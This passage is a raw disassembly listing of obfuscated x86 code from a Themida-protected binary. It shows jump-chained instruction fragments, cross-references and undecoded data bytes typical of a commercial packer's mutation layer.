		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546F3E:				; CODE XREF: Themida_:00557702j
		push	esi
		mov	esi, 3B6C4444h
		jmp	loc_545952
; ---------------------------------------------------------------------------
		db 68h,	6, 14h
		dd 34890000h, 1643BE24h, 74296DD5h, 44E90824h, 8B000071h
		dd 0C892424h, 0C331E924h
		db 2 dup(0FFh)
word_546F6A	dw 34FFh		; DATA XREF: Themida_:00543114o
		dd 2434FF24h, 4C48358h,	100868h, 243C8900h, 76F468h, 24248900h
		dd 4240481h, 0FF000000h, 815F2434h, 4C4h, 19BB5300h, 81342506h
		dd 250615EBh, 0E305E934h, 0C483FFFFh, 8F67E904h, 0C6010000h
		dd 1B0C681h, 23E91A71h,	0Eh, 0F5305BDEh, 65AE9h
		db 0
; ---------------------------------------------------------------------------

loc_546FC5:				; CODE XREF: Themida_:005508A8j
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_55603D
; ---------------------------------------------------------------------------
		dd 5E29BA58h, 0C2312656h, 5124048Bh, 0C181E189h, 4, 1E3CE9h
		dd 5AD03100h, 0E958C789h, 0A0A5h
; ---------------------------------------------------------------------------

loc_546FF4:				; CODE XREF: Themida_:00547D68j
		push	eax
		push	ecx
		mov	ecx, 56E96F39h
		mov	eax, 0A91690CBh
		add	eax, ecx
		pop	ecx
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_554751
; ---------------------------------------------------------------------------
byte_54700D	db 66h,	0Fh, 0B6h	; DATA XREF: Themida_:00542FE4o
		dd 4EC8102h, 89000000h,	0FAE9241Ch
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54701F:				; CODE XREF: Themida_:00548E97j
		add	esi, edi
		jmp	loc_548058
; ---------------------------------------------------------------------------

loc_547026:				; CODE XREF: Themida_:0054F1E5j
		not	ecx
		push	esi
		push	7F21696Eh
		pop	esi
		not	esi
		xor	esi, 9104AC25h
		and	ecx, esi
		pop	esi
		jmp	loc_543A66
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0E904C483h, 25FEh, 0E95BDE21h, 0E85Ch
		dd 0E901C780h, 6521h, 56B2BD55h, 0EE015823h, 243C8B5Dh
		dd 4C481h, 0C6810000h, 2, 5C243487h, 0E99CC884h, 8FD0h
		dd 0BA52FD87h, 36DD0C1Ah, 814ADAF7h, 4163B5E2h,	7E2C15Eh
		dd 0EC15E9h, 4C48100h, 81000000h, 4C7h,	243C3300h, 33243C31h
		dd 0FF5C243Ch, 34FF2434h, 24048B24h, 4C481h, 9B680000h
		dd 8900000Ch, 0EC81240Ch, 4, 8932E9h
		db 0
; ---------------------------------------------------------------------------

loc_5470D5:				; CODE XREF: Themida_:0054BDB7j
		add	esp, 4
		xor	ebp, 0B9E57EEBh
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_54BDBC
; ---------------------------------------------------------------------------

loc_5470EE:				; CODE XREF: Themida_:00556131j
		mov	[esp], ebx
		jmp	loc_550602
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 2B6AB951h, 0CA3174E1h, 81DAF759h, 0B7EDA8C2h, 8BD62198h
		dd 0C4832414h, 3215E904h
		db 2 dup(0)
word_547116	dw 77FFh		; DATA XREF: Themida_:00542FD0o
		dd 59669D1Ch, 2414D366h, 0F6F4E99Ch
		db 2 dup(0FFh)
word_547126	dw 0B568h		; DATA XREF: Themida_:00543238o
		dd 6800001Fh, 2A59h, 10E0FE9h, 0B4CF8000h, 0FE07E7C0h
		dd 7EEF80C7h, 1C8BFC88h, 4C48324h, 0FFCDC0E9h, 19E952FFh
		dd 810000AFh, 8E1715C9h, 9B1BE95Fh, 0ED810000h,	73CE53D1h
		dd 6E0F581h, 81451FCEh,	0C2E05FEDh, 0E9E80171h,	2C6Ch
		dd 0D04C483h, 20AA0BDCh, 0CA20DC25h, 1CC96806h,	14890000h
		dd 142E924h, 0BE560001h, 2, 7F2EE9h, 24248900h,	3F5BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5471A5:				; CODE XREF: Themida_:00545A54j
		pop	esi
		push	eax
		mov	eax, 54B00EB9h
		jmp	loc_545B56
; ---------------------------------------------------------------------------

loc_5471B1:				; CODE XREF: Themida_:00556E69j
		mov	ebx, [esp]
		jmp	loc_54EBC3
; ---------------------------------------------------------------------------
byte_5471B9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00543094o
		dd 8B2434FFh, 0C4812404h, 4, 5104C483h,	79E9E189h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5471D3:				; CODE XREF: Themida_:0054BAEAj
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54DC4E
; ---------------------------------------------------------------------------

loc_5471F3:				; CODE XREF: Themida_:00546445j
		push	ebp
		push	5163019Ah
		pop	ebp
		inc	ebp
		and	ebp, 554C2216h
		dec	ebp
		sub	ebp, 1A267232h
		xor	ebp, 8899D12h
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_553139
; ---------------------------------------------------------------------------

loc_547219:				; CODE XREF: Themida_:00557007j
		add	esi, 0B89989C0h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5443FD
; ---------------------------------------------------------------------------

loc_54723B:				; CODE XREF: Themida_:00547BE1j
		add	esi, 4
		jmp	loc_54B3CF
; ---------------------------------------------------------------------------
		dw 489h
		dd 69ECB824h, 0D0F719E5h, 0E569F105h, 8BC70119h, 65E92404h
		dd 0B80000C7h, 4, 48BC789h, 4C48324h, 3C8BF901h, 8B545224h
		dd 0C4812414h, 4, 4C281h, 0D0E90000h, 4000001Ch, 0B42CE9h
		dd 3C8B5400h, 0E3895324h, 4C381h, 0C3830000h, 0BBA1E904h
		dd 4BB0000h, 81000000h,	106E73E9h, 0E9D9010Fh, 4C57h, 0E924148Bh
		dd 700Bh, 0D7E9F32Ch, 5200008Ch, 89519BB6h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 2404895Ch, 0D8F604B0h, 0FFD927E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5472E5:				; CODE XREF: Themida_:00557994j
		push	edx
		mov	edx, 205F2B44h
		push	edi
		mov	edi, 6D0043D1h
		jmp	loc_54B314
; ---------------------------------------------------------------------------
		dw 535Eh
		dd 776C41BBh, 0FD4EE973h, 1368FFFFh, 8900002Ah,	0C4E9242Ch
		dd 8BFFFFD0h, 7DE9240Ch, 0FF00005Fh, 5F042474h,	5C24048Fh
		dd 0E9E68956h, 193Eh
; ---------------------------------------------------------------------------

loc_547328:				; CODE XREF: Themida_:00549C77j
		mov	ebx, 61820B65h
		shl	ebx, 8
		sub	ebx, 33745106h
		push	6743h
		mov	[esp], esi
		mov	esi, 6B6602FEh
		and	esi, 516C27EEh
		sub	esi, 43E90B7Dh
		add	esi, 50A5860Eh
		xor	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_556D8F
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 0C2E9F729h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547373:				; CODE XREF: Themida_:0054B4F7j
		mov	ecx, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, ecx
		mov	ebx, edi
		pop	edi
		mov	ecx, [esp]
		jmp	loc_555CD5
; ---------------------------------------------------------------------------

loc_547399:				; CODE XREF: Themida_:0054C7ECj
		mov	dl, 0C5h
		add	dl, 8Ch
		jmp	loc_54D322
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4BE56h, 0F7010000h, 7CCCE9h,	242C8700h, 5954515Ch, 4C181h
		dd 0C1830000h, 240C8704h, 5817E95Ch, 875C0000h,	248B2434h
		dd 0B264E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5473D6:				; CODE XREF: Themida_:0054E3DCj
		pop	edx
		sub	[edi+24h], ecx
		pop	ecx
		jmp	loc_557294
; ---------------------------------------------------------------------------
		dd 2DED8145h, 31366044h, 801E9E9h, 81680001h, 89000030h
		dd 7CE9242Ch, 520000F8h, 0E2D08CB2h, 0C24EE9h, 24048F00h
		dd 111CE952h, 815A0000h, 4ECh, 0B30FE900h, 0C3810000h
		dd 4, 8704EB83h, 0D1E9241Ch
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54742B:				; CODE XREF: Themida_:00543E38j
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55334C
; ---------------------------------------------------------------------------

loc_547438:				; CODE XREF: Themida_:00546DEEj
		push	7EB1h
		mov	[esp], ebx
		mov	ebx, 673D7041h
		add	ebx, 53615700h
		jmp	loc_555F94
; ---------------------------------------------------------------------------
		dd 89240489h, 405E0h, 0BF570000h, 4, 5409F52Dh,	5F82921h
		dd 215409F5h, 8B2434FFh, 0C483243Ch, 5F545704h,	754BE9h
		dd 4C48300h, 0E9240C8Bh, 414Fh,	5C241C33h, 6168F9F7h, 89000048h
		dd 9C502414h, 745BE9h, 4EC8100h, 89000000h, 0B1512414h
		dd 1C1805Ch, 0E92CE980h, 10A77h, 4246C81h, 5A9F3BEFh, 4246C81h
		dd 0D164595h, 8B2434FFh, 0C4812434h, 4,	0E904C483h, 0FFFFBDC3h
		dd 592414F6h, 0E980D9F6h, 0FFC8301Fh, 0E9592434h, 0F4FBh
		dd 54241C89h, 4B8505Bh,	0E9000000h, 0AE3Fh
; ---------------------------------------------------------------------------

loc_5474FC:				; CODE XREF: Themida_:0055818Ej
		sub	edx, 0FB65C31Dh
		and	ecx, edx
		jmp	loc_557792
; ---------------------------------------------------------------------------

loc_547509:				; CODE XREF: Themida_:00544BFDj
		push	edx
		mov	dl, al
		mov	bh, dl
		pop	edx
		push	eax
		mov	al, bh
		push	ebx
		mov	bl, al
		mov	dl, bl
		pop	ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		jmp	loc_5439CA
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0F18104C4h, 52916B6Fh, 19AE68h, 0CD9EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54755A:				; CODE XREF: Themida_:00556C48j
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 416C27A8h
		jmp	loc_5524AE
; ---------------------------------------------------------------------------

loc_54756E:				; CODE XREF: Themida_:00544051j
		pop	edi
		add	ebx, esi
		jmp	loc_5562F4
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 491568h, 243C8900h, 0A4E8E9h, 240C8B00h
		dd 4C481h, 8B660000h, 0E8E92414h, 890000B0h, 0BB53242Ch
		dd 4, 525BDD89h, 9605BBBAh, 81DAF77Bh, 0B07D17EAh, 0BF575650h
		dd 2A8E5E6Eh, 95FFE89h,	0C2E4E9F2h
		db 2 dup(0FFh)
word_5475C6	dw 8B66h		; DATA XREF: Themida_:00543168o
		dd 0AB68240Ch, 89000031h, 0DAE9242Ch
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5475D7:				; CODE XREF: Themida_:0054337Bj
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 61A4BC0h
		jmp	loc_54895C
; ---------------------------------------------------------------------------

loc_5475F2:				; CODE XREF: Themida_:00553FC5j
		push	6A2Eh
		mov	[esp], eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		jmp	loc_552A46
; ---------------------------------------------------------------------------
		db 5Ah,	50h, 0E9h
		dd 485h, 4BF5759h, 1000000h, 0BCE95FF8h, 5A00006Bh, 0DE04B904h
		dd 0DE2CE800h, 0A3F6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54762D:				; CODE XREF: Themida_:005459AFj
		mov	eax, [esp]
		jmp	loc_557E22
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 8104C483h, 8C62DAE3h, 0F8BF5704h, 501A6033h,	0E33037B8h
		dd 7CB95109h, 0E9430F2Dh, 0FFFFDAEFh, 8356E389h, 0C8904ECh
		dd 21C6824h, 81595136h,	9537FDF1h, 33E9813Ah, 5321F300h
		dd 0FDD305BBh, 0A983E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54767E:				; CODE XREF: Themida_:0054ED80j
		sub	ch, 0BAh
		sub	ch, al
		add	ch, 0BAh
		push	dword ptr [esp]
		jmp	loc_54CEEC
; ---------------------------------------------------------------------------

loc_54768E:				; CODE XREF: Themida_:0054C370j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_54495A
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 779F7217h, 0E947DFF7h, 0FFFFF60Bh
; ---------------------------------------------------------------------------

loc_5476B0:				; CODE XREF: Themida_:005583D5j
		sub	eax, 0DFCAAEDEh
		add	edx, eax
		pop	eax
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4
		and	ecx, ebp
		jmp	loc_54A395
; ---------------------------------------------------------------------------
aN1Vssu		db '╜1ьVИSu',0          ; DATA XREF: Themida_:00543098o
		dd 0B8505B00h, 359B778Dh, 0C8B9BD55h, 0E8013947h, 598CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5476F5:				; CODE XREF: Themida_:005453DFj
		sub	edx, ebx
		pop	ebx
		jmp	loc_55115B
; ---------------------------------------------------------------------------
		db 1, 0CEh, 8Bh
		dd 0FFE9240Ch
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------

loc_547707:				; CODE XREF: Themida_:00556BBBj
		push	dword ptr [esp]
		jmp	loc_54B689
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	44E904C3h, 5B000074h, 542BE9h
		db 0
; ---------------------------------------------------------------------------

loc_547725:				; CODE XREF: Themida_:00556B2Fj
		sub	esi, 6BA137ADh
		pop	ecx
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54DFAD
; ---------------------------------------------------------------------------

loc_54773C:				; CODE XREF: Themida_:0054368Dj
		pop	edi
		sub	ecx, 14FC1E5Fh
		jmp	loc_549038
; ---------------------------------------------------------------------------
aBN5Huq		db '│ц╜5ю',0Dh,'hЦQ',0
		dw 8900h
		dd 3268240Ch, 8B51C776h, 0C481240Ch, 4,	281CB951h, 0CB01617Dh
		dd 94C38159h, 2932B844h, 9B98E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54777A:				; CODE XREF: Themida_:005466D8j
		mov	edi, [esp]
		add	esp, 4
		add	esi, 6F963E48h
		sub	esi, 8D01C9E3h
		add	ebx, esi
		jmp	loc_547CE5
; ---------------------------------------------------------------------------
		dw 5B66h
		dd 34FFD030h, 77E95A24h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5477A3:				; CODE XREF: Themida_:00557456j
		or	esi, 26421558h
		sub	esi, 36384982h
		add	esi, 26C13404h
		sub	esi, 176C01F9h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_5572A2
; ---------------------------------------------------------------------------
		dw 5CB8h
		dd 0E9141845h, 4697h, 33171A35h, 4E9C2D11h, 8C6828E6h
		dd 89000056h, 5BB9240Ch, 0E93BAF18h, 5B51h, 4C4815Ah, 0E9000000h
		dd 64BAh, 31243433h, 0D4E92434h, 8BFFFFE8h, 0C4832404h
		dd 0F6E95604h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54780F:				; CODE XREF: Themida_:0054CAE3j
		pop	esp
		jmp	loc_553FBC
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0B3h
		dd 0E96E6717h, 2D9Fh, 4C181h, 0F6E90000h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54782B:				; CODE XREF: Themida_:00550F7Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		jmp	loc_546BD4
; ---------------------------------------------------------------------------
		db 50h
		dd 24048B5Dh, 4C481h, 0BE560000h, 6DD258FCh, 835EF509h
		dd 3C8904ECh, 0CF40BF24h, 0FD29E1E7h, 8BEB895Fh, 0BEE9242Ch
		dd 87000098h, 895C243Ch, 7DE9240Ch, 1000040h, 0C281F2h
		dd 8B780141h, 2DE92434h, 29FFFFF0h, 5504247Ch, 4F534BBDh
		dd 0F989E960h, 0DE010000h, 0D7E9525Bh
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5478A3:				; CODE XREF: Themida_:0054983Ej
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_549530
; ---------------------------------------------------------------------------
		dd 7FBAEA81h, 1C8B2576h, 4C48324h, 0FFE9CBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5478C5:				; CODE XREF: Themida_:00549FF9j
		mov	edi, [esp]
		jmp	loc_54BEC9
; ---------------------------------------------------------------------------

loc_5478CD:				; CODE XREF: Themida_:005534F0j
		mov	ecx, 2
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, edi
		jmp	loc_543C1B
; ---------------------------------------------------------------------------
		dd 0D2F6D2F6h, 4E7E9h
		db 0
; ---------------------------------------------------------------------------

loc_5478ED:				; CODE XREF: Themida_:00544CB0j
		mov	ebx, eax
		pop	eax
		pop	ecx
		sub	ebx, 0D39B1852h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_549E99
; ---------------------------------------------------------------------------
		db 81h
		dd 0B1ED81F7h, 5FFB01F1h, 4C381h, 17E90000h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54791B:				; CODE XREF: Themida_:00546CB6j
		push	0
		sub	[esp], esi
		pop	esi
		neg	esi
		xor	esi, 7B8F3714h
		jmp	loc_553ACD
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 0E6h
		dd 0D5F6C5FEh, 5EFFE9h,	24048B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55202C
; ---------------------------------------------------------------------------

loc_547948:				; CODE XREF: Themida_:00545F66j
		shl	ch, 7
		neg	ch
		shr	ch, 1
		xor	ch, 0ECh
		xor	al, ch
		push	dword ptr [esp]
		pop	ecx
		push	35F4h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	0BFh
		jmp	loc_5572FD
; ---------------------------------------------------------------------------
word_547972	dw 8F66h		; DATA XREF: Themida_:00543234o
		dd 678DE902h, 0FF550000h, 535D240Ch, 32E8BD55h,	0CD81328Bh
		dd 6934372Bh, 0F701C583h, 0ACE951DDh, 560000EAh, 42474FFh
		dd 24048F5Eh, 6624248Bh, 9C240409h, 0FFCEE4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5479AD:				; CODE XREF: Themida_:00550AE7j
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esi
		jmp	loc_54ED57
; ---------------------------------------------------------------------------
		dd 515AD301h, 0FD2238B9h, 59CB290Fh, 26E9C301h,	50000082h
		dd 58241CF7h, 9BE76857h, 295F915Fh, 0C7895FF8h,	5624048Bh
		dd 0C681E689h, 4, 8704C683h, 0F75C2434h, 4EC83DFh, 0BA241489h
		dd 5F924CD3h, 82EA8142h, 8174C862h, 7E2F07E2h, 0C1EA816Ah
		dd 1FF60DBh, 71E95AD7h,	31000012h, 0E8E92404h, 5D0000C8h
		dd 0F74A4A4Ah, 55C281D2h, 0E9AA4D86h, 0FFFFEA73h, 98B280B3h
		dd 0D05BDA30h, 0FB6EE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547A3E:				; CODE XREF: Themida_:005524EFj
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_544F62
; ---------------------------------------------------------------------------
		dw 525Dh
		dd 4BAh, 0E9D70100h, 0A6B9h
; ---------------------------------------------------------------------------

loc_547A54:				; CODE XREF: Themida_:00548B03j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_555E58
; ---------------------------------------------------------------------------
dword_547A60	dd 0E92434FFh, 0CA4Ah, 8092E95Eh, 0FA010000h, 710CEA81h
					; DATA XREF: Themida_:00542FF8o
		dd 15F2E8Eh, 0F5815AD5h, 2FA2527Dh, 8302E5C1h, 0C9E904ECh
		dd 104h, 0D82859EBh, 0F6DCE9h, 781DB800h, 0C90D0D25h, 2551E606h
		dd 44FB2DB6h, 512F5225h, 19D9E91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547AAE:				; CODE XREF: Themida_:005505B5j
		add	ebp, 4
		jmp	loc_550ED7
; ---------------------------------------------------------------------------

loc_547AB9:				; CODE XREF: Themida_:00552044j
		push	79h
		mov	[esp], edx
		mov	dh, cl
		push	ecx
		mov	cl, dh
		mov	bh, cl
		jmp	loc_54C33F
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 3707E9h
		db 0
byte_547AD5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005431D0o
		dd 0E92434FFh, 2DA9h
; ---------------------------------------------------------------------------

loc_547AE0:				; CODE XREF: Themida_:00557AF8j
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54C89C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 45B85000h, 0D50AD11h, 268D377Ah, 0A5A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_547B01:				; CODE XREF: Themida_:00557697j
		pop	ecx
		jmp	loc_54B791
; ---------------------------------------------------------------------------

loc_547B07:				; CODE XREF: Themida_:00548B2Bj
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_547B16:				; CODE XREF: Themida_:00556AFFj
		mov	[esp], ecx
		mov	ecx, 495B2DE8h
		or	ecx, 1DBB25CCh
		push	ecx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5480BF
; ---------------------------------------------------------------------------
		db 5Bh
		dd 2C29BF57h, 0E7816441h, 3BC4161Fh, 2FD7BE56h,	0C6812411h
		dd 48F73E7Bh, 0C695C681h, 0F731F5FDh, 0E950475Eh, 65D6h
		dd 38B850h, 0D0010000h,	34E23081h, 0FF580308h, 23E92434h
		db 7, 2	dup(0)
byte_547B6F	db 66h			; DATA XREF: Themida_:00543190o
		dd 6824048Bh, 332h, 0FFD30EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547B7D:				; CODE XREF: Themida_:00543B86j
		or	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 735C3903h
		jmp	loc_554EEB
; ---------------------------------------------------------------------------
		dd 33240431h, 248B2404h, 0E0895024h, 4EC81h, 34890000h
		dd 4BE24h, 0AC2D0000h, 117CE42h, 42AC05F0h, 34FF17CEh
		dd 0EE70E924h, 0D768FFFFh, 8B693826h, 0C4832414h, 0CC28104h
		dd 4A270F05h, 0F1E6EA81h, 0EDE923AAh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547BDB:				; CODE XREF: Themida_:0054BB49j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_54723B
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 0FDE904C4h, 0D1FFFFC5h, 0ABF181E1h, 31BB917Eh, 26C6E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547BFE:				; CODE XREF: Themida_:00557D3Ej
		mov	edx, ecx
		pop	ecx
		add	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_543BE8
; ---------------------------------------------------------------------------

loc_547C11:				; CODE XREF: Themida_:005486E3j
		mov	ebx, esp
		push	esi
		sub	esp, 4
		jmp	loc_556FE8
; ---------------------------------------------------------------------------

loc_547C1C:				; CODE XREF: Themida_:00546E43j
		mov	ebx, 219B7D27h
		add	ebx, 75883A40h
		push	56A9h
		mov	[esp], eax
		push	41540F98h
		pop	eax
		inc	eax
		inc	eax
		xor	eax, 5F6963F9h
		neg	eax
		xor	eax, 3CBA6D6Fh
		jmp	loc_54C0D6
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 0B9C8h, 0DFF7DFF7h
		dd 76C781h, 0F901F876h,	0C1835F5Fh, 240C8704h, 0E873E95Ch
		dd 14890000h, 0E904E924h, 44010000h, 0FF580424h, 1C8B2434h
		dd 4EC8124h, 0E9000000h, 0E432h, 4C281h, 0EA830000h, 24148704h
		dd 56BE95Ch, 0C1810000h, 0D81C374Ch, 0FFCCD2E9h, 0A7B151FFh
		dd 28F6B551h, 0B55159EBh, 0ADC580CDh, 5049C380h, 37E919B4h
		dd 330000DEh, 1C31241Ch, 241C3324h, 6824248Bh, 3793h, 54240489h
		dd 0FFCCBEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547CE5:				; CODE XREF: Themida_:00547791j
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 64474048h
		mov	edx, edi
		pop	edi
		push	esi
		mov	esi, 47B00F06h
		xor	edx, esi
		pop	esi
		push	ecx
		jmp	loc_547E31
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 57242489h, 0F8EBE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547D1A:				; CODE XREF: Themida_:005480C5j
		xchg	eax, [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 15BA52BCh
		push	esi
		mov	esi, 85F14C7h
		and	ebp, esi
		pop	esi
		not	ebp
		neg	ebp
		inc	ebp
		and	ebp, 798B5034h
		jmp	loc_556B17
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 0E9000000h, 3E44h
; ---------------------------------------------------------------------------

loc_547D4C:				; CODE XREF: Themida_:00554F22j
		sub	esp, 4
		jmp	loc_556CF8
; ---------------------------------------------------------------------------
		db 28h
		dd 6934E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547D5E:				; CODE XREF: Themida_:0054FF1Fj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_546FF4
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 97h
aSPnS		db 'S╩ыPN$И]╫',0
		dw 0BA00h
		dd 0D4DEA71Eh, 0B474E9h, 4C48100h, 81000000h, 4C7h, 4BB5300h
		dd 81000000h, 0E95D17C7h, 56505105h, 17ABD55h, 33BE00ABh
		dd 29021A40h, 12B85DEEh, 0E9321A7Eh, 2720h, 0C0E9D731h
		dd 83FFFFD3h, 48F04C4h,	0E9D6F724h, 0C7CEh, 0E904EAC1h
		dd 0FFFFD259h, 0F280C2FEh, 0FF65E9D5h, 52530000h, 0C93D2FBAh
		dd 3EAC134h, 2E7AE281h,	0F2817696h, 13C94FDFh, 4EFC281h
		dd 6BE95638h, 810000D7h, 350FFAF3h, 0EB834B12h,	0FBC38101h
		dd 2139A839h, 241C8BDFh, 0D104C483h, 16EF81E7h,	0E9DD8EF1h
		dd 66ABh, 65C068h, 243C8900h, 2109E9h
		db 0
; ---------------------------------------------------------------------------

loc_547E31:				; CODE XREF: Themida_:00547D05j
		mov	ecx, 462959F7h
		push	esi
		jmp	loc_54E906
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4C581h, 25E90000h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547E4F:				; CODE XREF: Themida_:00552164j
		add	esi, 4
		jmp	loc_54432E
; ---------------------------------------------------------------------------
		dw 0FCB7h
		dd 0E95BFE08h, 8D2Eh, 5BD90959h, 0FFFFBB53h, 0D901FFFFh
		dd 1CBF575Bh, 212FC864h, 7972E9F9h
		db 2 dup(0)
word_547E7E	dw 30ACh		; DATA XREF: Themida_:00543108o
		dd 0EC8352D8h, 241C8904h, 0DCE9DCB7h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_547E8F:				; CODE XREF: Themida_:00547FD2j
		pop	ecx
		jmp	loc_55680E
; ---------------------------------------------------------------------------
		db 0D3h, 2Ch, 24h
		dd 0B3FDE99Ch, 0D831FFFFh, 2444015Bh, 27D5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547EAA:				; CODE XREF: Themida_:0054CB1Aj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 557507B3h
		jmp	loc_55469E
; ---------------------------------------------------------------------------
a341434Sc	db '34$14$34$\ИC°',0
		dd 0B7EE8100h, 1409F0Ah, 0B7C681FEh, 5F409F0Ah,	4EE81h
		dd 34870000h, 3C895C24h, 2474FF24h, 2434FF04h, 0E9243C8Bh
		dd 5DD0h
; ---------------------------------------------------------------------------

loc_547EF8:				; CODE XREF: Themida_:0054C6D1j
		sub	edi, esi
		sub	edi, 74EF4D48h
		pop	esi
		jmp	loc_550A4F
; ---------------------------------------------------------------------------

loc_547F06:				; CODE XREF: Themida_:0054939Bj
		dec	eax
		sub	eax, 6BDA07B8h
		xchg	eax, edx
		jmp	loc_556433
